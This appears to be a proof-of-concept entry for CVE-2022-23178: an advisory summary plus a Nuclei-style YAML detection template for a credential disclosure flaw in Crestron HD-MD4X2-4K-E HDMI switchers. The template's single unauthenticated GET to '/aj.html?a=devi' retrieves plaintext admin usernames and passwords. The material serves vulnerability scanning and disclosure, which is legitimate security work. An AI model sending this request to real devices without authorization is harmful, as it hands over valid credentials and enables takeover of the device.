An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
PoC代码[已公开]
id: CVE-2022-23178
info:
name: Crestron Device - Credentials Disclosure
author: gy741
severity: critical
description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
impact: |
An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device.
remediation: |
Update the Crestron Device firmware to the latest version to mitigate the vulnerability.
reference:
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
- https://nvd.nist.gov/vuln/detail/CVE-2022-23178
- https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
- https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
- https://github.com/Threekiii/Awesome-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-23178
cwe-id: CWE-287
epss-score: 0.92574
epss-percentile: 0.99728
cpe: cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: crestron
product: hd-md4x2-4k-e_firmware
tags: cve,cve2022,crestron,disclosure,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/aj.html?a=devi"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"uname":'
- '"upassword":'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100fe550b15083e32b05d36894e46984030c29bacc5744a7b6c3105ece52da1a471022039c8e121a7d71ec0e81a3a64438e10d03c4f59a774cbc458d19c2e83f5bb1a0f:922c64590222798bb761d5b6d8e72950